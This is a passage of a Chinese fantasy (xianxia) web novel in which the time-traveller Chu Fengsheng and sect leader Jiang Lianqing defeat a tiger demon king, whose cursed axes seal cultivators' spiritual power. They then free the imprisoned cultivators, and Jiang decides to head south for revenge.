楚逢生心中明白,还有未曾明了的疑点,他继续听下去。
青色小虫扑了扑翅膀。
虎大王听到虎二哥的强调,才终于冷肃起来:“这不可能!”
“你不是亲手杀了楚予思!?他不可能活过来!要不是他死在碧云山下,而那时归谕门未除,他的肉我也要吃!”
“呵呵,修为如此美妙的金丹期修士,进不了我的肚子真是可惜了!”
虎大王重重拍了一下虎二哥的脑袋,大怒:“你是在哪里见到的楚予思?告诉我!他不可能活过来!”
虎二哥吃痛,颤颤巍巍地揉了揉脑袋,两爪抓住自己的耳朵。
“就,就是白玉村啊!和那个难缠的女人一起!那女人也怪!她和谢砚声不仅一样难缠,功法也和谢砚声差不多!”
他仔细回想了一下,尘灰骤起,青衣轻盈摇摆,正红色的丝带携带梨花清香。
“哦!对对对!”虎二哥又凑上去了,“她还和谢砚声一样,是青衣!身上有股梨花味,归谕门不是漫山遍野都是梨花吗?”
“大王,你说会不会……”他眨眨眼。
虎大王睨了他一眼,眯起一双虎眼:“小二,你转移话题的速度也够快,你方才还想着楚予思,现在又扯什么梨花?”
“楚予思不可能活着,你不是说他的魂都找不到了?总不能是骗我啊小二。”虎大王眸色深沉,意味深长,“怎么
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,说他绝对死了的是你,说他还活着的也是你?”
“小二啊。”
“总不能是他给你接了一次手臂,你就打心底里开始对他包容,觉得他和那群人不一样了吧?”
虎大王从高位上起身,一席明黄色长篇,微黄的发丝像人一般悉数束起,弯唇一笑,眼中尽是冷漠。
“要知道,无论人还是修士,都不会待见妖的,况且你不是说他临死前骂的很难听,嗯?”
“不!不不不……”虎二哥一惊,疯狂摇头,“冤枉啊大王!”
他从地上爬起来,拍拍胸脯保证道:“您也知道,是我杀了楚予思!知道大王您秘密的人都别想活着走出这里!”
楚逢生听到这里,眉头越蹙越紧,不自觉地薅了一把叶片,辣手摧叶,碾成碎片。
知恩不图报还觉得自己以德报怨特别正确吗?
他突然就火了。
这没理由不生气。
后世对楚予思的评价都是医者仁心了,足以见得此人品行之温良,亦可知在他的观念里,人妖魔都有痊愈的权力,这才是真正的大爱苍生。
要不说千年来最符合苍生道,只惜天妒英才的人是楚予思。
就千年后那群人,压根不觉得人妖魔是平等存在的生命。
眼下最诡异的疑点依旧扑朔迷离。
楚予思死在救世之旅前,现在已知的变数是自己的穿越,而导致楚予思之死的是这虎妖以德报怨。
楚逢生的心飞快地跳起来,似是要冲破他的胸口。
那后世救世之旅的传闻会变吗?
正所谓因果轮回。
眼下,什么算因,什么算果?
如果他是唯一的变数,由他代替的楚予思,他该陪着姜涟清南下吗?他应该演好“楚予思”吗?
如果他不是单独的个例,那什么人才会心思如此歹毒,要置楚予思于死地?这哪里有好处?
这没道理,完全没道理。
薄雾掩去星月,让此处成为无踪之境,穿越疑云蒙住他心中的清明,要他沉在这漫无目的的意外里。
他揉了揉眉骨,莫名感到一阵疲惫。
严格来说,他穿越到此还不足一天,却已经有了那么多那么多一人无法探索的谜题。
他到现在都还不知道,自己是否还能回到千年之后?那才是他的时代。
乱世在记载中是一串文字,此时他却身临其境,无法逃脱。
他不可能一辈子做楚予思。
他是楚逢生。
楚逢生只能是楚逢生。
思及此处,他对自己的命运惶恐了。什么都没有失去自己更可怕。
耳畔又闻虎大王的言语。
虎大王好像闻到了什么奇怪的味道,他仔细嗅了嗅,人脸挂上一抹邪笑。
虎大王:“小二啊,你有没有闻到?”
虎二哥闻言仔细闻了闻四周,趴到地上细细探索,最终抬起头来:“没有啊大王?有什么奇怪的吗?”
虎大王走下台阶,边走边说:“你这不随手关门的习惯,怎么屡教不改呢?”
虎二哥挠挠头,尴尬地笑了笑。
虎大王站在血迹干涸的地毯上,咂咂嘴:“好美妙的味道,比今天尝过的都要极品。”
虎二哥:“什么?”
虎大王:“一股非常纯粹的,灵力的味道。”
楚逢生心脏骤停。
12. chapter.12失控
清冷如雪,朦胧淡雅。
梨花香味似有若无,直至一柄红伞从柱子后探出,携来少女灵动的青色衣袖。
红伞微微一抬,烟青色的眼眸冷静沉稳。
姜涟清问:“你怎么知道的?”
她上下打量一番面前这膀大腰圆的虎大王,双眼微眯。
“如果连我大师兄谢砚声都觉得头疼的话,那你应该没有这个实力闻出我的灵力才对。”
“你是怎么知道的?”
虎大王听这话心中涌起一股怒火。
什么叫连谢砚声都觉得头疼就没有这个实力?他的实力就是妖中最顶尖的!降星洲所有妖都不敌他!
而他面上毫不显露,露出森白的牙齿:“只许你们修士有机缘,我们妖怪就没有机缘了?”
姜涟清摇头,眼神无辜:“我可没有这么说哦,别说的好像自己在别人眼前多低人一等似的。”
一旁的虎二哥看到姜涟清的红伞时,心便提到了嗓子眼。
“大大大……大王!”虎二哥拉了拉虎大王的袖子,“这就是那个和谢砚声一样难缠的女人!她的功法和谢砚声特别像!”
虎大王一把推开虎二哥,竖瞳中满是不屑:“归谕门已灭,纵是再像也不是谢砚声,有何好慌?”
姜涟清弯唇,薇颜浅笑,从袖口里拿出三枚铜制梨花钱。
“不巧了,小女子正是归谕门新一任门主,姜涟清是也。”
她轻轻投掷出了铜钱。
虎大王轻蔑道:“就你?一个小丫头?呵呵,一个名不见经传的小丫头,说是遗孤得了,还新门主。”
他撇过头示意虎二哥附和:“你说对吧,小二?”
虎二哥突然被提及虎躯一震,眼瞅着那几枚铜钱即将落地,就想起不久前,一枚钱直击他的门面,打得他靠在树上直不起腰。
他的伤还没好呢。
“大,大王,我觉得还是谨慎一点好。”
铜钱落地,发出“叮当”一声脆响。
虎大王不以为意:“就一小姑娘,怕什么?”
梨花钱全部正面朝上。
姜涟清淡淡道:“嗯,确实没有什么好怕的,那直接动手,怎么样?”
姜涟清最开始就没打算和这些妖讲道理,事情都已经发生了,就算打嘴仗赢了又怎么样?
那些死去的修士会回来似的。
说来或许小家子气,但从一月前春望一遭,她的怒火从未平息。
只是妖当然没有错,可妖害人,凭什么觉得自己没有错呢?
虎二哥奉承虎大王的话真恶心。
虽然不知道这楚逢生为什么要告诉她自己叫楚逢生,但结合虎二哥当时错愕的神情与方才听到的话语,不用几乎,完全可以确定,楚逢生就是他们口中,救了虎二哥后反被杀死的楚予思!
砌墙的小妖口口声声说着他们可不是人,有情有义有德报德,可这些妖又做着什么呢?
她在暗中瞥见,那堆落在王座之下的森森白骨,这还有什么是不明白的?
那是人的骨头,姜涟清认得出。
她知道这些妖抓修士要做什么了。
无非是,杀人取丹,生吃修士。
虎大王依旧没把她放在眼里,归谕门孤女罢了,何以畏惧。
他嗤笑一声:“年纪不大,胆子倒是不小。”
他召来一对青灰色的斧子。
如同被敲碎的镜子,血红色的纹路无规则蔓延,爬满了整个斧面,古老似海深的力量不加掩饰。
姜涟清下意识皱眉。
这感觉就和暗沉的铁链一模一样,她心中添了几分警觉。
青色灵力浮现,落于地面的梨花钱重新回到她手中。
卦象未曾改变,诸事顺宜。
她轻笑一声:“来吧!”
话音刚落,不等虎大王有所反应,姜涟清率先出手。
红伞滑落到虎大王身后,青色身影随之出现,毫不犹豫地刺了上去!
当——!
斧子挡住了攻击。
“呵呵,就这点力道还想和大王我打?不自量力!”
一斧子挥过去,姜涟清即刻下腰躲闪,几根青丝被削去。红伞往身后一扔,下一秒姜涟清又站在了王座之前。
踩着血腥气深重的地毯,姜涟清踢开一根白骨,眸光坚毅,又一次执伞上前。
从上次打过春望开始她就知道了,在绝对的压制下不能太过自傲,不然就是春望的下场。
方才那一击足够她预测此妖修为,对比起来左右不过金丹,毫无威胁可言。
“就这点修为,还觉得我好打?”
姜涟清元婴期的修为丝毫不加掩饰,指尖衔一枚梨花钱,随着灵力波动弹出,如青色的流星,直往虎大王胸口去!
虎大王想侧身回避,这这元婴期的强大气息让他一瞬间慌了神,躲避不急,最终右肩中了一击。
尽是就这样松手,任由斧子掉落在地。
“元婴期?!”虎大王的声音都变调了,“这降星洲哪来这么多元婴期!”
虎二哥提醒道:“大王我不是和您说了吗!这女的和谢砚声一样难缠!”
“您不是问我骗到哪个元婴期了?就这个元婴期啊!”
姜涟清手执红伞,于王座之上,居高临下地看着这虎大王,眸中不含一丝情绪。
虎大王暗道不好,扭头说:“你!和我一起上!”
虎二哥:“啊?我、我?!”
一想到被一击订到树上,他就萌生退缩之一,可对上虎大王的目光……虎二哥心生悲戚。
他召出自己的狼牙棒,大吼一声,冲了上去!
而此时,还未等姜涟清有所动作,一枚如寒冰般刺骨的银针稳稳地扎在了他的脖子上。
虎二哥身一软手一失力,瘫倒在地。
“啧啧,没实力硬逞能也是让你表演明白了。”
楚逢生坐在房梁之上,嘴上叼着不知哪里采来的草,艳丽的眉眼透着几丝不耐烦,或许还有几分迷茫。
他眉毛一挑:“你们打不过她的,以姜门主的实力,你们叫上你们手底下那几个小喽啰也只有被压制的份。”
“你还知道出现呢?”姜涟清好笑道。
她最开始立于此处,便察觉到了那堆骨头里强烈的,窥探的意味。
于是在试探虎大王实力时顺势后退,一脚踢飞了白骨上那一点绿色。
楚逢生偷窥这么久,终于愿意现身了。
楚逢生嘿嘿一笑:“这不是一个人不敢独闯,所以等姜门主发号施令吗?你一叫我不就来了?”
“你为什么出现自己心里清楚。”姜涟清懒得戳穿他。
虎大王在见到楚逢生时,那张一直装作淡定的脸终于寸寸龟裂,青筋凸起,虎耳都从头上冒出来。
他咬牙切齿:“楚、予、思!”
他也顾不得姜涟清了,提起斧子一拍,骤然暴起,向着楚逢生的位置杀过去。
姜涟清惊呼一声:“小心!他这东西会禁锢你的灵力!”
说罢,夜阑珊往空中一抛,青影瞬移到楚逢生身边,一把将人拽下房梁!
砰——轰隆——
两面如岩浆崩裂的斧子突然淌出鲜血,房梁砍断,尘土飘落。
屋顶
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塌了一块,正巧把虎大王埋住。
姜涟清带着楚逢生稳稳落地,不轻不重地瞥他一眼,似是在说你反应真慢。
楚逢生嬉皮笑脸:“谢姜门主再次相救呀~”
姜涟清一手叉腰:“你啊,有东西没给我坦白吧?”
楚逢生:“什么东西?”
姜涟清:“你自己想!”
楚逢生勾上系起她乌发的红色飘带,在指上绕了一个圈:“你不明说,我怎么知道?你说了我都告诉……”
哗啦啦——
虎大王从坍塌的屋顶中爬起来,瓦砾从他的衣间洒落。他一抬头,一张虎脸面露凶狠,双目赤红。
浑身无力的虎二哥此时突然蛄蛹起来,两只虎眼瞪得大大的。
“大王!大王!”
扑了个空的虎大王此时突然不对劲起来。
滴答,滴答……
血滴从斧面上凝聚,一滴一滴落到地面上。
虎大王重新捡起了掉落的斧子。
虎二哥:“喂!你们俩,快把大王绑住啊!”
地上的血潭越蓄越多,虎大王的臂膀一寸寸变大,长出老虎的皮毛,一根尾巴捅破衣衫,在背后高高竖起。
姜涟清下意识把楚逢生护在身后,拿出一枚梨花钱置于大拇指上,向上一抛——
梨花钱稳稳落在她的手心。
是反面。
看来大事不妙。
“吼!嗷——!”
虎大王一声愤怒的虎啸,不管不管地摔开身上的碎布,提着两把淌血的斧子就飞奔过来!
他腰间玄黑的钥匙,落在废墟里。
姜涟清眸光一凝,厉声命令:“楚逢生,去把那堆石头里的钥匙找出来,黑色的。”
说着,她打开夜阑珊,红色伞面挡住了攻势,珠帘碰撞的噼里啪啦声响个不停,红色液体顺着伞面流下。
楚逢生听到她的命令也不多问,毫不犹豫几步扎进废墟里翻找。
路过虎二哥时,他停留片刻,眉头一皱,最终什么也没说,也什么都没做。
楚予思的债肯定是要讨的,但是以更为公平的方式,最有资格审判他的人不是自己。
不知此方结界要如何撤销。
只要那层薄雾褪去,污秽之气便无处遁形了吧?他想。
楚逢生抬头看着缺了一角的屋顶。
天空已然微亮,月芒将逝,群星将散。
另一边,姜涟清注入一股元婴期的灵力,连接双斧,一下子将虎大王震飞出去!
虎大王巨大的身躯砸到到王座之上,一声巨响,王座倒塌,他猛的吐出一口血来,而眼中的疯狂却仍未消失,反而愈发魔怔。
这下倒好,任谁来都看得出是哪里出了意外了,恐怕现在这具躯体已经不是虎大王自己控制的。
虎二哥见此情形,转头朝着楚逢生大喊:“楚医师!楚医师!把针拔下来!我求你了!”
“大王会死的!再这样下去大王会死的!”
“我求求你!我求求你!以怨报德是我的不对,但是妖的命也是命啊!”
楚逢生终于从废墟里找到一把黑色小钥匙。
他眼皮都不抬一下:“哦?你也配说妖怪的命也是命?”
楚逢生嗤笑:“你手上的人命很少吗?我的命不也在你手上?你到底是怎么说得出口的,虎二。”
多讽刺,平白无故伤害普通人,诓骗好心修士,协助杀人取丹的妖。
居然和他说,妖的命也是命?
那楚予思呢?
这位医者救死扶伤,杏林春暖,他的命就该如草芥,任他人践踏吗?
13. chapter.13因果
“不!不!”虎二哥哭嚎着,竖着的虎眸突然落下一串透明的水痕,“我错了,是我错了楚医师!”
“就这一次!我把我的命赔给你!就这一次!大王不是自愿的,大王本来不是这样的!”
听到这,楚逢生才有了点兴趣。
他拍拍身上的灰,高举钥匙向姜涟清展示:“姜门主!是这把吗?”
姜涟清一伞戳穿虎大王的右肩,一双杏眼还有闲心余光望去,那乌漆嘛黑的小钥匙,材质和这斧子一模一样。
“对!”她回应。
钥匙到手,姜涟清再不想多纠缠,一伞将人戳在地面上,瓷白的地砖碎成蛛网装。
虎大王还要挣扎,凸起的青筋持久无法褪下,猩红的眼没有丝毫理智。
姜涟清解开夜阑珊边缘围起的一圈黑红珠帘。珠帘顷刻化作红绳,一圈绕一圈,缠上还未倒塌的柱子,将虎大王捆了个扎扎实实。
“不需要。”姜涟清无辜地对着地上的虎二哥眨眨眼,“不需要你,我已经搞定啦。”
虎大王还在挣扎,可愈挣扎绑的愈紧,只有无能咆哮。
虎二哥:“……”元婴期果然吓人!
姜涟清徐徐走到他跟前,好整以暇地蹲下:“既然你家这位现在失去理智,那有什么话我可问你了。”
虎二哥:“只要不伤我兄弟性命!我什么都能说!”
姜涟清:“我不会,但会不会有人寻仇就不是我管的了。那现在,第一个问题。”
“这层蒙蔽天空的屏障怎么撤销?”
虎二哥耳朵抖了抖:“可不可以,让我先把大王叫醒再说?再不醒过来,他真的会死的!”
“嗷,这样。”姜涟清抬头,“楚逢生!那边那个,让他醒过来。”说罢,伸手指指身后那头膨胀的老虎。
“嗯,可以吧!”楚逢生吹掉钥匙上的灰,“接着,你要的钥匙!”
一把玄黑的门钥在空中划过一道弧线,不偏不倚落到距姜涟清一步之遥的位置。
姜涟清拾起黑钥匙,神色凝重。
“好浓……”
一股与春望截然不同,又同样浓郁邪性的魔气。
这把钥匙很轻,就像鸟羽飘飘落地,毫无声响。姜涟清细细观察这钥匙,心中疑虑更重。
太奇怪了。
简直是前所未闻的功效。
虽说不排除这天下有一种禁术,只要施加给任何物品,就能够禁锢接触此物之人的灵力。
可要撑得起那锁链,要撑得起那一座囚牢,光凭这一个资质尚浅的虎妖?不可能。
怕是,这便是虎大王所说的机缘。
姜涟清收起钥匙,继续说:“现在可以了吗?你既然知道他叫楚予思,肯定不能不知道他是医修?”
言下之意即,你知道他是什么水平,还有什么别的顾虑吗?
虎二哥眼睛眨的飞快:“可以了,可以的!”
虎二哥:“这屏障和大王的机缘有关,只要他的斧子里的血流干了,这东西也就毁了。可,可这东西邪性的很啊!”
“它流的是大王的血!在我们眼里,便是大王一直以自身为代价,为我等撑起一片光明!”
姜涟清:“哦,这样,那为什么要骗那些修士?为什么要吃了他们?”
她回想起那一串缺胳膊少腿的尸体,攥紧双手,指尖微微泛白。
“既然你们只想寻得一方净土,为什么要骗这群天真的修士?要知道,他们会上当纯粹是因为心好。”
虎二哥不敢直视她的眼睛:“因为,因为……”他犹豫了一会,突然惆怅:“因为大王饿了,也因为单凭大王当时的力量,撑不了太久。”
“大王确实之前就有吃人的陋习,但是是那些人坏!他不是故意要吃的!是那些人先绑架三儿要杀了他剥皮卖肉!况且后来谢砚声把这事捅出去了,大王还不得已逃去沧州了。”他的耳朵蓬拉下来。
虎二哥:“说来……说来这事,还算命运使然?大王去了一趟沧州,回来后就得了这么一对斧子,为我们造就了安息之所。”
姜涟清眼睛一眯:“沧州?他有没有说过他沧州怎么样?”
虎二哥思考了一会,回应说:“没有,大王只说,他在沧州遇到了一位大人,得了这么个机缘。”
虎大王的爪子还紧紧握着那对斧子,滴答声还未休止。
楚逢生一边听着那便的对话,一边慢条斯理地往虎大王脑门上扎了几针。
不得不说,虎大王这名字够应景,他的脑门上的确是好大一个“王”字,若不是已经完全修成人身,辨识度也太高了。
楚逢生又摸出几根针。
他第一次从楚予思口袋摸出这套针的时候,说不惊讶是假的。它在后世有个很有格调的名字——
寒玉引魄。
既然说,这对斧子就是那怪异的“机缘”,估计要让这只老虎平静下来的方法,就是拿开这对斧子。
针尖泛着寒光,触感如寒冰,质感又温润如玉,其间蕴含的灵气深不可测。
他找准穴口,几针下去,只听“晃当”一声,两把巨斧落地,血液停留,耳畔烦人的虎啸声随之停息。
虎大王的眼眸逐渐清明,血红褪去,金色的虎眼透着迷茫,似大梦初醒。
虎大王自言自语:“我又失控了?”
他试图起身,身上缠绕的红绳束缚得更紧,硬生生把他绑死在大王殿的柱子上。
“只要毁了这把斧子,就无处可逃了,对吧?”姜涟清站起来,从袖口里摸出钥匙,“那便先毁了吧。”
她转身,提起夜阑珊直往血池走去。
“这东西这么重的邪祟气息也敢要,也算艺高人胆大。”
楚逢生几脚踢开灰青色斧子,鞋尖沾到了血迹,他还略带嫌弃地“啧”了一声。
直到伞尖即将贯穿斧面,虎大王瞳孔一缩,即刻阻止:“且慢!”
伞尖停在斧面上方,姜涟清想听听他有什么想狡辩的。
虎大王急切道:“姜门主!此物万不可毁!”
他深知识时务者为俊杰和来日方长的道理,此时千万不能和这个女人多有口角!
姜涟清:“为何?”
虎大王:“此物是沧州一位大人赠与我逆天改命的,我们只是想要有个栖身之所而已!要是失去这斧子,我和我的兄弟们一定会被仙门赶尽杀绝!”
楚逢生真是要被这妖逗笑了。
“哈哈。”他翻了个白眼,“做这种事的时候怎么不想想,有朝一日事情败露会有多少人讨伐你?”
“现在说自己只想要栖身之所?别逗我了。那那些因为自己的善心被你吃掉的修士,何其无辜?”
“做事不想承担后果,我的天哪。”
姜涟清点点头,丝毫不在意虎大王越来越难看的脸色:“天底下哪有这么好的事?嘴上说着人类多么多么不好,回头看自己做的腌臜事,又
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都有苦衷了?”
“不做亏心事,不怕鬼敲门,没事听过这句话吗?而且这东西,既损人也不完全利己。”
姜涟清又举起夜阑珊,伞尖汇聚这一层清风般的灵力。
“无论是谁,给你这个东西,绝不是出于好心。”她说,“禁锢他人灵力绝非易事,而且是绝对的邪术!”
“那人存着什么心思,你真的感觉不出来吗?”
一击碎刃,灰青色的碎片朝四处散开,每片碎片都有黑气冒出,如炊烟,亦如云雾,悄然消去。
“你感觉得到人的恶意,却感觉不到邪祟的恶意吗?”姜涟清冷冷地看着他,“还是说,只是装作不知道?”
“因为你觉得自己委屈,你觉得自己好委屈。”
虎大王不说话了,只是一味低着头。
事到如今,要说认错,他是绝对不认的,在他的视角,他便是万般无奈,不得已才走上这条不归路。
一切都是有苦衷的。
可为什么,别人要因此怜悯他?放过他?
他逼不得已是真,可害人之事难道就因此成了情有可原?不可以。
做了就是做了。
并非局限于人。
谁都要为自己的所作所为付出代价,所有恶行都不能被苦衷二字轻飘飘揭过。
姜涟清碎了斧子,转头看向楚逢生:“你先好好想明白,有什么是没告诉我的,我要先去把那些人放出来。”
她走出几步,再度回头:“在这里等我,不要轻举妄动。”
楚逢生失笑:“好好好,涟清姐姐的话我全都听。”
姜涟清这才放心朝外走去。
出了这宫殿,璀璨的日光已经从天处泄露,树影在地上成了一堆黑色云彩,晴空无云地上有。
天空的色彩再也没有迷雾阻隔。
姜涟清伸出手,温热的阳光照在她手心,暖意绵绵。
清风过,青叶摇,侧耳聆音。
*
姜涟清原路返回,路上顺手把几个阻挠的小妖怪捆了,至于那些直接逃走说要通风报信的,她懒得管。
反正楚逢生是金丹期,有几个小妖到大殿去,他肯定能解决,不需要过多操心。
铁门前站着的依旧是夜晚时分见到的那两只妖怪。
黄小妖本想大声呼喊,灰小妖则是抄起手边的武器,打算迎难而上。
但一切动作,在姜涟清拿出那把黑色钥匙时戛然而止。
姜涟清笑盈盈的:“看见这把钥匙了嘛?你们大王打不过我哦~”
黄小妖:“!”
灰小妖:“!”
黄小妖咳嗽两声,老老实实站到一边,灰小妖马上把手上的武器扔出去好远,矗立门旁。
拜托,谁要想不开和一个打得过他们大王的人拼武力啊?
人家能一步一步走到这里,路上说不定解决了多少他们的同僚。
做妖还是要有点眼力,不然平白吃亏。
黄小妖嘿嘿:“您请进、请进……”
灰小妖挂着同样讨好的笑容,推开了铁门,门户大开。
姜涟清很满意。
她弯起一抹笑:“还挺有眼色。”
说罢,头也不回地向着囚牢走去。
明亮的光线拉长她的影,当影子没入一片暗色,门口两小妖才松了一口气。
黄小妖:“吓死我了。”
灰小妖:“也吓死我了。”
14. chapter.14无情
暗无天日的牢笼阴冷冰森,一众修士依偎在一起,共同取暖。
燕烟又一次问起现在是什么时辰时,白非言终于不耐烦了:“燕烟,你有完没完?”
“从谢砚声他师妹离开又不久,到底在急什么?那什么大王这么好打败的话,我还能被困在这里吗?”
白非言对自己的实力有种迷之自信。
燕烟懒得给他眼神:“人家是姜门主,有名字好吗?天天谢砚声谢砚声,别真是暗恋他!”
“你侮辱谁呢?!”白非言一拍无知觉的大腿,感觉不到丝毫疼痛。
燕烟余光瞥见这个动作,心上一疼。
她的大师兄确实自恋,可作为宗门的天之骄子,他怎么会不难受?
他毕竟是她那个天赋卓绝的大师兄,倘若有办法,定不想让自己这般狼狈的模样被众人所睹。
燕烟突然听到一阵平稳的脚步声。
哒,哒,哒……
脚步声愈来愈近,昏暗的牢房外隐约可见一个人影。
燕烟连忙爬起来,往前凑去,试图看清来者何人。骤然亮起的白光,刺得她一瞬茫然。
她才意识到,自己已经很久没有见过光了。
牢笼中的修士一个接一个起身,原先懒得动弹的人纷纷起立,因这光芒而议论阵阵。
姜涟清提着一把钥匙,在光明里归来。
之前小心翼翼,现在光明正大,她直接拿出了长明珠照明,毕竟现在没必要担心被发现。
姜涟清走到囚牢之前,第一件事就是顶着这群可怜修士的震惊的目光打开了锁。
咔嚓。
钥匙旋转,铁栏杆拼成的门应声而开。
燕烟觉着,世界上再没有这般动听的声音了,它说,你们自由了。
燕烟眼角莹莹,哽咽道:“姜门主……”
姜涟清把门拉到最开:“好啦,我说到做到,不出意外的话,你们师门的人应该在赶来路上了。”
她顿了一下,迟疑说:“应该吧?丢了这么多弟子,肯定有人在观测。”
“你们先出来吧,灵力应该很快就恢复了。”
燕烟第一个迈出牢门,身上的枷锁一瞬间减轻,堵塞的灵脉再度流通。
她惊喜回头:“大师兄,灵力回来了!”
白非言抹了一把脸:“知道了知道了,等他们先出去我再出去。”
又有一红衣修士走出牢笼,不过片刻,一枚缠着深紫色灵力的灵摆就出现在他手上。
红衣修士展露笑颜:“大伙儿都出来吧,灵力真的恢复了!”
有了两个案例,死水般的氛围顿时起了波澜,一个两个全从牢笼中走出,各自尝试。
有些略懂医术的,即刻开始给他人疗伤。
姜涟清听到这话顿觉不对。
既然灵力恢复地这么快,那楚逢生当时凭什么敌不过那只妖?
她原先以为,楚逢生,或者说楚予思,也是受了这锁链的影响,运气好逃过一劫灵力未恢复,才在那时被逼到绝路。
可倘若灵力恢复速度如此之快,已经逃脱锁链追捕的他为什么要等死?
这不合常理。
那妖怪为什么想得到枯木逢春倒是不难理解了,在他的视角里,自己大哥一人背起他们所有人的幸福。
为了大哥活下去,想要枯木逢春很有理由。
至于楚逢生……他如果不是这种情况,那是怎么一回事?
思及此处,姜涟清想立刻回大殿问个明白。
虽然不一定能问到真话。
说到锁链,那个被芸芸叫作小梁哥的村民,去哪里了?
燕烟待人出去的差不多,走进牢笼,作势要白非言到自己背上来。
白非言眉头一皱:“干什么呢丫头?我不会爬吗?”
燕烟给了他一个白眼:“少废话!你是我大师兄,这样爬出去,存心给我和师门丢脸吗?”
白非言:“……”
白非言无言以对。
他只得攀上燕烟的背,被她背起来,脸埋在她背后,可见耳根一抹红晕。
大庭广众之下被师妹背出去,怎么想都有点丢人。可要是爬出去……
白非言也不得不承认,这更丢脸。
他悄咪咪抬头,发现无人在意,才松了口气:“燕烟,让我去和姜门主说几句。”
燕烟又翻白眼,但行动是一点不落。
“姜门主。”
姜涟清一抬眼,是那对欢喜冤家师兄妹。她的思绪断了倒也不恼。
“什么事?”
白非言:“谢姜门主相助,但白某有一事不解,还望解明。”
姜涟清:“你说。”
白非言神情严肃:“这虎妖的东西,大概率来源于妄洲邪祟,妄洲邪祟不知有几个,白某不知你是否清楚这个消息,但我家师尊曾收到南方来信。”
“信上所言,沧洲机关城关闭,百姓流离失所,一般修士到了沧洲也使不出一丝灵力。这便导致,沧洲有大量妖邪近乎无人约束。”
“各洲宗门推测,这或许是妄洲邪祟的一种能力,禁锢修士术法,单凭肉/体与妖邪相博毫无胜算,血流成河,处处埋骨。”
白非言轻轻笑了一声:“这种时候,机关城居然不开啊。”
“机关城便是即墨先生即墨逾的机关城,他向来以心系天下苍生为著,逢乱必出,此刻却闭城不开。”
“有人猜测,是不是有妄洲邪祟,寄存在即墨先生身上了。毕竟盈洲就是个活生生的例子,现在的盈洲,再也没有人敢许约了。”
姜涟清默默听完,心中震撼。
也就是说,在归谕门未灭,她还未入世之时,这天下便是乱世了。
那为什么?
师尊为什么不让她下山,为什么不让她入世,为什么谢砚声吴云贺也对碧云山外的一切只字不提!
盈洲便是春望所说的,他寄生吴云贺的地方,那是从什么开始盈洲沦为邪祟的一堂言了?
不知道,但肯定很早,肯定在吴云贺到来之前。
她的心钝痛,觉着整个人都将被怒火焚烧殆尽。
姜涟清不理解了。
她有这个实力入世,也并非对人性一知半解天真烂漫之人。
凭什么?
吴云贺出走各地救死扶伤斩妖邪,谢砚声频频下山平降星洲动乱,无人不知,无人不晓。
而她!就那样在碧云山上住了两百年,隔绝外界一切信息。
凭什么?因为她先修的无情道吗?
荒谬至极。
仁慈悲悯,心存善意是师门所教;心怀大爱,分辨是非是师门所教;苍生苦楚不得视而不见是师门所教。
可师门从不允许她看见。
不许她看见人间苦难,不放她入世以己之力救助苍生。他们知道,她姜涟清两百年如一日,是不会质疑他们的安排的。
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无情道并非无情无心,而是不加偏爱,世间万物皆平等,在这份平等中,掺杂太多,亲情、爱情、友情……
修道从不限制这些,无情道不过其中一种,凭什么束缚她的情感?
某种意义上来说,归谕门真的把她养成了一个合格的无情道修士。
此时觉得恨吗?不恨的。
蒙蔽是真,他们的好意难道是假了?不是的。
谁都可以觉得他们虚情假意,姜涟清不可以。
“这样啊。”姜涟清心下有决断了。她强撑着挤出一个微笑:“那么,这件事之后的处理,就交给你们了。”
她不会听棠溪迟的话了,他的建议固然真诚,但现在她没有办法继续采纳。
燕烟:“啊?为什么?”
姜涟清:“因为,我要南下报仇了呀。”
她笑笑,攥紧袖口,转身离去。
现在,立刻,她要南下,横跨尘缘大陆前往妄洲。南下之行这第一站,便是机关城所在的沧洲。
姜涟清的脚步声比起来时急促不少。
不能再停留在原地,不能再等下去了。恰逢乱世,她不是什么无心之人。无情道从来不是对世间苦难不闻不问。
她要做她先前没去做的。
复仇若是为了心中的仇怨,那也太过痛苦,太过极端了。
所怨所恨,皆源于一字。
因为爱,所以才会怨恨啊。
*
楚逢生迟迟没有拔下虎二哥身上那根针,反而接连放倒了很多前来报信的小妖,其中便有当时想抢劫他的虎小三。
他答应姜涟清,在她回来之前哪里也不去,可就这样守着未免太过无聊,遂与众妖闲聊。
楚逢生拿着云蘅草,贱兮兮地凑到虎小三身前:“哎呀,哎呀哎呀,这是谁啊?”
“啧啧,真是今时不同往日,小爷我灵力回来了要是还能让你逼到绝境,就该自尽了。”
“看看我手上是什么?”他拨弄了一下云蘅玫瑰似的白花,“来~和我念~”
“这是,云、蘅、草~”
虎小三火气一下子冲到头顶,张嘴就要咬上去,可寒玉引魄针还在他穴口上扎在,没办法动弹。
虎小三:“楚予思你就是个贱人!贱死了!不会说话去把舌头割掉,给我大哥吃也行!”
楚逢生赏他一个白眼,收回云蘅草,漫不经心转身:“笑死我了,一没有家人的还喊什么大哥?虎大王是你亲哥吗?”
他故意戳虎小三痛点。
从第一次见到这妖,说出那句“你是没有家人吗”,虎小三的反应就告诉他,他真不是他们家亲生虎。
虎小三气得虎须发抖:“说话干净点!我就是大哥二哥的弟弟!”
楚逢生:“你不是亲生的。”
虎小三:“大哥二哥你们看他!说话好难听啊!”
楚逢生要听笑了,有长辈在场,这虎小三都不搞威胁那一套了,这撒娇的语气……
啧啧,一看就没少撒娇。
虎大王一言不发,闭目养神,听到虎小三撒娇还是撑开眼皮看了一眼,张了张嘴,最后还是没说什么。
虎二哥则是轻声劝道:“三儿,不要和楚医师拌嘴了,说又说不过他,打……”
他没有继续往下说。
虎小三:“……”
他听懂了,他二哥说,你打也打不过人家,哪怕他是个医师。
15. chapter.15陪你
话说到这个分上,虎小三也不嚷嚷了,冷哼一声别过头去,逃避现实似的闭上眼,两颊的胡须一抖一抖。
看样子还是不太服气。
不过楚逢生也没有再逗老虎的意思了,他就地盘腿坐下,拿着寒玉引魄来回琢磨。
这东西真好用,越用越顺手,不愧是楚予思的法宝。
话说,浮华届试新大会前十的法器好像就有它?也不知道还有没有机会回去,他一定在大会上拿下它。
尘缘大陆百年换一次年号。
他穿越之际乃是灵初年末,下一个年号是浮华,浮华年和熙和年,也就是现在,刚刚好隔了一千年。
算了,先在这千年前活下去吧,目前对回去的方法,还未有丝毫头绪。
他都不知道该不该纠正自己的名字。
一口一个楚予思楚医师,楚逢生真不知道要如何反驳。
谁让他现在用着的就是楚予思的身体?
不知姜涟清的旅途何时开启,届时还是死缠烂打求她带上自己比较好。
在别人眼里,他就是楚予思。
如果楚予思就这样死在降星洲,没有陪同走上旅途,那岂不是相当于纂改历史?
楚逢生推测不出来这会是什么后果,只知道,改变历史进程绝对不是好事。
